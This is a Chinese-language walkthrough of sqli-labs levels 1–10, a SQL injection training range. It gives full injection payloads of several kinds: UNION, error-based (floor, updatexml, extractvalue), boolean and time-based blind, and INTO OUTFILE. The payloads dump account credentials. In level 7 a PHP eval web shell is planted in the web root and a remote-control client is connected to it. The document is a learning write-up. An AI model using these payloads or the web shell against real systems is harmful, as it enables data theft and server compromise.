基本知识:
1. Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等.
2.数据库相关的内容:
information_schema,系统数据库,包含所有数据库相关信息。
information_schema.schemata中schema_name列,字段为所有数据库名称。
information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
靶场:
先献上目录:
考查点:UNION联合查询注入(Less-1-5)
Less-1 GET - Error Based - Single quotes - String
( 基于错误的GET单引号字符型注入 )
1. 随便传个参数 ?id=9
2.判断注入,用 ‘ 测试,发现页面报错, 说明存在字符型注入
3.用 -- asdf 或 # 把单引号后面的注释,中间就可以插入sql语句了
4.判断字段数
order by 4 页面报错
order by 3 页面正常,证明有3个字段
5.判断回显点
用联合查询union select 1,2,3 发现页面还是正常
原因联合查询出来的结果,数据很多,没有被显示,只显示了id=9的数据 ,而我们不让id=9的结果显示就可以了,让id=9.99就可以了,成功的发现有两处回显点。
6.查询数据库
将3替换为database(),得到数据库:security
这里只返回了数据库,也可以用concat_ws()输出多个
concat函数:连接一个或者多个字符串
而concat_ws函数 即有分隔符的字符串连接
查询用户名版本
concat_ws(char(32,58,32),user(),version())
7. 查询security中的表
?id=9.99' union select 1,2,table_name from information_schema.tables where table_schema="security" limit 0,1 -- asd
一共得到三个表:emails、referers、users
8.查询user里的字段
?id=9.99' union select 1,2,column_name from information_schema.columns where table_name="users" limit 0,1 -- asd
一共得到字段:id、username、password
9.查询username和password字段的内容
payload:
?id=9.99' union select 1,username,password from users -- asd
得到账号密码
Less-2 GET - Error Based - Intlger based
(基于错误的GET整型注入)
直接输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入
直接插入sql语句,后面查询过程跟less1相似。
Less-3 GET - Error Based - Single quotes with twist - string
(基于错误的GET单引号变形字符型注入)
用单引号尝试,发现页面报错
后面加注释 发现还是会报错
引号后面加个括号,发现页面正常
同理得到账号密码
payload:
?id=9.99') union select 1,username,password from users -- asd
Less-4 GET - Error Based - Double Quotes - String
(基于错误的GET双引号字符型注入)
用and1=1和and 1=2 测试,页面都正常
用单引号也正常,用双引号报错,加上)后面注释页面正常
这里和第三题差不多
同理得到账号密码
payload:
?id=9.99") union select 1,username,password from users -- asd
Less-5 GET - Double Injrction - String Quotes - String
(双注入GET单引号字符型注入)
1.用 ’ 测试发现报错 后面的注释掉,发现页面正常
2.中间插入sql语句,这题与前面几题不一样,这题没有回显,但是页面报错,在这里我们可以使用一种新的注入方式:报错注入
三种报错注入常用的语句:
(1)通过floor报错:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为想要插入的sql语句
该语句将输出字符长度限制为64个字符;
语句详情:http://www.hellomao.top/2019/08/16/web_mysql_floor/
(2)通过updatexml报错
and updatexml(1,payload,1)
?id=9%27and updatexml(1,(concat(0x7e,(select database()))),1) -- asd
该语句的输出长度限制为32位,
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
(3)通过ExtractValue报错
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,payload,0x7e))
输出字符长度限制为32位
3..这里我们使用第一种floor报错语句进行sql注入
?id=9’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)-- asdf
这里的数据库则是security,而不是security1,这个1是floor报错语句中拼接输出的一部分
4.查询所有数据库
?id=9’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)-- asdf
这里提示超过一行,说明这里数据库名组成的字符串长度超过了64位,用limit 0,1来一个个输出
?id=9%27and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) -- asdf
还有几个库,这里就不多演示了
Less-6 GET - Double Injrction - Double Quotes - String
(双注入GET双引号字符型注入)
与第5关类似,只不过这一关使用的是 "的方式闭合字符串
我们只需要将?id=9' 改为 ?id=9"即可
其余过程不再赘述,请参考第五关
Less-7 GET - Dump into outfile - String
(导出文件GET字符型注入)
用单引号测试发现报错,后面的注释掉 ,发现依旧报错
加个括号还是报错,再加个括号页面正常
?id=9')) -- asdf
结合上题的报错注入
?id=9%27)) union select count(*),1,concat((select database()),floor (rand(0)*2))a from information_schema.tables group by a -- asdf
发现页面没有报错,只能盲注了!
哈哈,其实未然,看来几位大神的文章,这题还有其他做法,顺便就借鉴了。
1.此时可以进行注入使用outfile写文件至 web 服务器
mysql 使用 into outfile 写文件需要写清绝对路径,可以使用@@datadir查询数据库存储路径,@@basedir查询mysql安装路径,这里可以利用之前几关进行查询一下。
?id=9%27)) union select 1,count(*),concat(@@datadir,floor (rand(0)*2))x from information_schema.tables group by x; -- sdaf
2.取mysql的目录C:\phpStudy\,然后使用
?id=9') )union select 1,2,3 into outfile "C:\\phpStudy\\MySQL\\data\\asdf.php"-- a尝试写入文件
虽然报错了,但还是写入成功了。
需要注意的是写入的文件名不能重复,也就是新的不会覆盖旧的。
4.既然可以写入文件到数据库,那么我们直接写入一句话木马上传到数据库中
?id=9') ) union select 1,2,"<?php @eval($_POST['aa']);?>" into outfile "C:\\phpStudy\\WWW\\as.php"-- asdf
写入成功。
5.链接菜刀
Less-8 GET - Blind Boolian Based - String Quotes
(布尔型单引号GET盲注)
和第七关差不多,将?id=9')) -- a换成?id=9' -- a即可
1. 我们用substr函数来做
?id=9%27 and (ascii(substr(database(),1,1))) =115 -- aa
页面正常 说明查询出数据库的第一个字母的assic是115,对应的字母为 s
这里可以使用burp跑包,就不演示了
同理出数据库为:security
2. 猜表名:
?id=9%27 and(ascii(substr((select table_name from information_schema.tables where table_schema ="security" limit 0,1),1,1)))=101 -- aa
查询出数据库的第一个字母的assic是101,对应的字母为 e
后面的就不演示了。
Less-9 GET - Blind - Time Based - String Quotes
(基于时间型单引号GET盲注)
用and 、‘ 、')、“、”)测试都没反应,
从新看来下标题有思路了,这不就是时间单引号盲注吗!!!
直接 ?id=9' or sleep(2) -- a
延时了25.22秒,有些不正常,
改成 ?id=9' or sleep(0.2) -- a 延时了3秒
尝试了下and 发现延时正常了
引入一个函数if
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
?id=9%27 and if(ascii(substr(database(),1,1))=115,0,sleep(5)) -- asdf
发现基本没有延时,说明查询出数据库的第一个字母的assic是115,对应的字母为 s
以下和less8做法大致相同,不过多演示。
Less-10 GET - Blind - Time Based - Double Quotes
(基于时间型双引号GET盲注)
1.输入’和”都显示正常,尝试?id=9’ and sleep(5) -- asdf,没什么延迟,尝试” and sleep(5) -- asfd延迟时间变为6秒多,说明是双引号的时间型盲注。
以下做法和上题相同,不过多演示。